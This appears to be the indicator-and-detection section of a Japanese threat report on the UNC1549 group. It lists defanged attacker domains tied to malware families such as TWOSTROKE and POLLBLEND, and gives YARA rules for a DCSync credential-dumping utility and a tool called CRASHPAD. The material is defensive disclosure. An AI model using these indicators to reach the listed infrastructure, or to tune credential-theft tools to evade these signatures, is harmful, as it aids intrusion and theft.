ネットワーク |
skyticketgrant.azurewebsites[.]net |
MINIBIKE |
|
ネットワーク |
snare-core.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
storageboxcloud.northeurope.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
storagewiz.co.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
swiftcode.eastus.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
swifttiniventures.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
terratechworld.eastus.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
thecloudappbox.azurewebsites[.]net |
TWOSTROKE |
|
ネットワーク |
thestorageboxcloud.northeurope.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
thetacticstore[.]com |
TWOSTROKE |
|
ネットワーク |
thevaultapp.westus3.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
thevaultspace.eastus.cloudapp.azure[.]com |
TWOSTROKE |
|
ネットワーク |
tini-ventures[.]com |
TWOSTROKE |
|
ネットワーク |
vcphone-ms.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
vcs-news[.]com |
SSHトンネリングに使用されるのが観察されました。 |
|
ネットワーク |
vm-ticket-svc.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
vm-tools-svc.azurewebsites[.]net |
POLLBLEND |
|
ネットワーク |
vmware-health-ms.azurewebsites[.]net |
POLLBLEND |
YARAルール
import "pe"
rule M_APT_Utility_DCSYNCER_SLICK_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "10f16991665df69d1ccd5187e027cf3d"
strings:
$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
$ = "\\LOG.txt" ascii wide
$ = "%ws_%d:%d:" ascii wide fullword
$ = "%ws:%d:" ascii wide fullword
$ = "::::" ascii wide fullword
$ = "%ws_%d:%d::" ascii wide fullword
$ = "%ws:%d::" ascii wide fullword
condition:
pe.is_pe and all of them
}
import "pe"
rule M_APT_Utility_CRASHPAD_1 {
meta:
author = "Google Threat Intelligence Group (GTIG)"
md5 = "b2bd275f97cb95c7399065b57f90bb6c"
strings:
$ = "[-] Loo ror: %u" ascii fullword
$ = "[-] Adj r: %u" ascii fullword
$ = "[-] Th ge. " ascii fullword
$ = "[+] O s!" ascii fullword
$ = "[-] O C: %i" ascii fullword
$ = "[-] O E: %i" ascii fullword
$ = "[+] Op cess!" ascii fullword
$ = "[-] Op Code: %i" ascii fullword
$ = "[-] O Error: %i" ascii fullword
$ = "[+] Im su!" ascii fullword
$ = "[+] R" ascii fullword
$ = "[-] Impe Code: %i" ascii fullword
$ = "[-] Imo: %i" ascii fullword
$ = "[+] Du success!" ascii fullword
$ = "[-] Du Code: %i" ascii fullword
$ = "[-] Du Error: %i" ascii fullword
$ = "[+] Dec Suc." ascii fullword
$ = "%02X" ascii fullword
$ = "Decryption failed" ascii fullword
$ = "config.txt"
$ = "crash.log"
$ = "[+] e wt!" ascii fullword
$ = "[+] p %d!" ascii fullword
$ = "[+] e!" ascii fullword
condition:
pe.is_pe and 15 of them
}
Google Security Operations検出
Google SecOpsの顧客は、MandiantおよびGoogle脅威インテリジェンスからのキュレートされた脅威インテリジェンスを通じてUNC1549 TTPs に対する堅牢な検出を受け取ります。この最前線知見はプラットフォーム内でキュレートされた検出シグネチャおよび高度なYARA-Lルールとして運用化されます。